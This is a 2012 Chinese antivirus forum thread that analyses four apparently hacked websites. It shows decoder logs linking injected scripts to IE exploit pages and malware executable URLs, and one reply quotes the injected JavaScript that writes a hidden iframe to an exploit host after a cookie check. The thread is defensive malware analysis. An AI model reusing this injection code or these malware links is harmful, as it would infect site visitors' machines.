瑞星卡卡安全论坛技术交流区恶意网站交流每日网马播报 瑞星网站每日安全播报(2012年4月9日)

1   1  /  1  页   跳转页

瑞星网站每日安全播报(2012年4月9日)

收藏
本主题由 大版主 networkedition 于 2012-4-9 13:20:23 执行 设置高亮 操作
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-04-09 13:18 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

瑞星网站每日安全播报(2012年4月9日)



引用:
网址均来自瑞星每日安全播报，我们详细分析其中所挂恶意网址，对于已失效的恶意网址就不再分析。



引用:
注：以下分析出的恶意网址均包含有真实网马下载地址，请勿直接下载并运行，以免系统中招。



引用:



1.  http://www.5igo.com.cn/（我爱购）
2.  http://www.2nvx.com/（爱女性网 ）
3.  http://www.8368piao.com/（8368票务）
4.  http://www.weixiuwang.com/（中国维修网）




用户系统信息：Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.802.30 Safari/535.1 SE 2.X MetaSr 1.0
分享到：
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-04-09 13:19 | 只看楼主 短消息 资料
字号： 小 中 大 2楼

http://www.5igo.com.cn/（我爱购）

Log generated by networkedition use mdecoder 0.67
[root]http://www.5igo.com.cn/ie.html(Exploit.IEAurora.a)
    [virus]http://www.5igo.com.cn/tse.exe
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-04-09 13:19 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

http://www.2nvx.com/（爱女性网 ）

Log generated by networkedition use mdecoder 0.67
[root]http://www.2nvx.com/mop.html
[virus]http://www.2nvx.com/y.exe
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-04-09 13:19 | 只看楼主 短消息 资料
字号： 小 中 大 4楼

http://www.8368piao.com/（8368票务）

Log generated by networkedition use mdecoder 0.67
[root]http://www.8368piao.com/(五月天南京演唱会订票 五月天南京诺亚方舟  8368票务)
    [script]http://www.8368piao.com/seldate.js
    [script]http://www.8368piao.com/objectSwap.js
    [flash]http://www.8368piao.com/images/sfcimg.swf
    [script]http://chat32.live800.com/live800/chatClient/floatButton.js?jid=7615727654&companyID=122742&configID=4243&codeType=custom
        [script]http://st8.live800.com/live800/chatClient/floatButtonStatic.js
    [script]http://chat32.live800.com/live800/chatClient/monitor.js?jid=7615727654&companyID=122742&configID=4227&codeType=custom
    [script]http://www.8368piao.com/hm.baidu.com/h.js?b167c766d0132cadd1b0a70abfb4c0bc
    [script]http://jhlw.m18.us/b.js?google=4x053
[script]http://jhlw.m18.us/g/hpay.htm
    [exp]http://jhlw.m18.us/g/6.htm(Exploit.Ie0dayCVE0806.a)
        [script]http://jhlw.m18.us/g/ie.jpg
        [script]http://jhlw.m18.us/g/iee.jpg
[virus]http://jhlw.m18.us/o/xz.exe
    [iframe]http://jhlw.m18.us/g/medi.htm
    [iframe]http://jhlw.m18.us/g/7.htm
        [script]http://jhlw.m18.us/g/ie.jpg
        [script]http://jhlw.m18.us/g/iee.jpg
        [script]http://jhlw.m18.us/g/ieee.jpg
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-04-09 13:20 | 只看楼主 短消息 资料
字号： 小 中 大 5楼

http://www.weixiuwang.com/（中国维修网）

Log generated by networkedition use mdecoder 0.67
[root]http://www.weixiuwang.com/aboutus/(关于中维--中国维修网--中国最大的维修网站--中国维修网)
    [script]http://eax.UglyAs.com/b.js?google=2x273
[script]http://jjd.ns02.us/a/jday.htm
    [exp]http://jjd.ns02.us/a/6.htm(Exploit.Ie0dayCVE0806.a)
        [script]http://jjd.ns02.us/a/ie.jpg
        [script]http://jjd.ns02.us/a/iee.jpg
[virus]http://jjd.ns02.us/o/yd.exe
    [iframe]http://jjd.ns02.us/a/medi.htm
    [iframe]http://jjd.ns02.us/a/7.htm
        [script]http://jjd.ns02.us/a/ie.jpg
        [script]http://jjd.ns02.us/a/iee.jpg
        [script]http://jjd.ns02.us/a/ieee.jpg
[script]http://fcp.UglyAs.com/b.js?google=3x222
    [script]http://feq.UglyAs.com/b.js?google=4x091
gototop
 
whatisright
头像
初生襁褓狮
  • 帖子:3
  • 注册: 2012-04-09
  • 来自:
发表于： 2012-04-09 19:24 | 短消息 资料
字号： 小 中 大 6楼

问题

xxx.ns02.us肯定是个有问题的网站。
在我这边利用Mdecoder无法获得http://jjd.ns02.us/a/jday.htm这类的网页。
经过分析，这类的网页通常是由http://eax.UglyAs.com/b.js?google=2x273这类的js引入的。
想问的是，在什么情况下可以获得jday.htm?是否与cookie还有关系？
谢谢。
最后编辑networkedition 最后编辑于 2012-04-10 09:11:59
gototop
 
jzking121
头像
初生襁褓狮
  • 帖子:20
  • 注册: 2010-12-28
  • 来自:
发表于： 2012-04-09 21:38 | 短消息 资料
字号： 小 中 大 7楼

回复 6F whatisright 的帖子



引用:
function baiduuu(){
var Then = new Date()
Then.setTime(Then.getTime() + 12*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookvie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{
var visa="yl39";
var fire="<ifra"+"me sr";
document.cookie = "Cookvie1=yous;expires="+ Then.toGMTString()
document.write("");
document.write(fire+"c=http:\/\/jhlw.m18.us\/g\/hpay.htm wid"+"th=100 hei"+"ght=0><\/ifr"+"ame>");
document.write("
");
}
}baiduuu();


这段js，判断用户在12小时内是否访问过，访问过不弹，没有访问过则弹！
gototop
 
whatisright
头像
初生襁褓狮
  • 帖子:3
  • 注册: 2012-04-09
  • 来自:
发表于： 2012-04-10 12:27 | 短消息 资料
字号： 小 中 大 8楼

回复 7F jzking121 的帖子

非常感谢！！！
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT